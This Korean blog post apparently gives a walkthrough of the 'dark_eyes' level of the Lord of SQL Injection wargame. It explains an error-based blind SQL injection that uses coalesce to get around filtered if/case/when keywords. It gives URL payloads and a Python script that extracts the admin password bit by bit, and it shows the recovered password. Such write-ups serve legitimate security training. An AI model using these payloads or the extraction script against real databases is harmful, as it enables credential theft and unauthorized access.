ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] 22. dark_eyes 문제 풀이
    Wargame/LOS (Lord of SQL Injection) 2019. 7. 31. 21:34

    dark_eyes

    iron_golem 문제와 같은 에러 기반 Blind SQL 인젝션이다. 그러나 iron_golem과 달리, if문과 case, when 구문이 필터링 목록에 포함되어 있고, 에러가 발생하면 아무런 에러 문구도 출력하지 않는다.

     

    iron_golem에서는 if문을 사용하여 pw를 알아냈지만, dark_eyes에서는 이 방법을 사용할 수 없기 때문에, 이를 우회할 수 있는 coalesce 함수를 사용하였다.

     

    coalesce 함수의 형식은 다음과 같다.

    coalesce((리턴값), 변환값)

    만약 리턴값이 NULL이면 변환값을 반환해준다.

     

    예를 들어서 아래와 같은 쿼리문이 있다고 가정하자.

    SELECT id FROM table WHERE 2=coalesce((select id from table where 1=2 limit 1), 2)

    select id from table where 1=2는 where문의 조건이 거짓이므로 아무것도 반환하지 않는다. 즉, 리턴값이 NULL이 되므로 coalesce 함수는 변환값인 2를 반환해준다. 따라서 최종 쿼리문은 SELECT id FROM table WHERE 2=2로 조건문이 참이 되어 id 컬럼이 정상적으로 추출될 것이다.

     

     

    이러한 점을 이용하여 pw의 길이를 알아내는 페이로드를 작성해보면 아래와 같다.

    ?pw=' or (select id where id='admin') = coalesce((select id where id='admin' and length(pw)=1)

    , (select 1 union select 2))%23

    만약 pw의 길이가 1이 맞다면 id='admin'인 레코드의 id 컬럼이 추출될 것이므로 결국 select id where id='admin'의 수행 결과와 같을 것이다. 하지만 pw의 길이가 1이 아니라면, (select 1 union select 2)라는 서브 쿼리가 수행되어 에러가 발생할 것이다.

     

    위 페이로드를 통해 알아낸 pw의 길이는 8이다.

     

     

    pw의 길이를 알았으니 이제 pw를 알아내자. 위에서 작성한 페이로드에서 coalesce 함수 내의 리턴값 부분만 수정하면 된다.

     

    ?pw=' or (select id where id='admin')=coalesce((select id where id='admin' and ord(substr(pw,1,1))=61)

    , (select 1 union select 2))%23

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
     
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    headers = {'Cookie':'PHPSESSID=본인의 세션 아이디'}
     
    pw_length = 8
    bit_length = 16
    pw = ''
     
    print("\n=== Find Password ===\n")
     
    for i in range(1, pw_length+1):
        bit = ''
        
        for j in range(1, bit_length+1):
            payload = "pw=' or (select id where id='admin')=coalesce((select id where id='admin' and substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1),(select 1 union select 2))%23".format(i, bit_length, j)
            res = requests.get(url=URL+payload, headers=headers, verify=False)
            
            if 'query' in res.text:
                # True -> bit == 1
                bit += '1'
            else:
                # 에러 발생 -> bit == 0
                bit += '0'
     
        pw += chr(int(bit, 2))
        print("pw (count %02d): %s (bit: %s, hex: %s)" % (i, chr(int(bit, 2)), bit, hex(int(bit, 2))))
     
    print('\n>>> Final Password: %s' % pw)
     

     

    pw = 5a2f5d3c

     

    작성한 프로그램을 돌려본 결과, pw는 5a2f5d3c이었다.

     

    DARK_EYES Clear!

     

    [참고 자료]

    coalesce 함수를 이용한 Blind SQL Injection: https://pjongy.tistory.com/126

     

Designed by Tistory.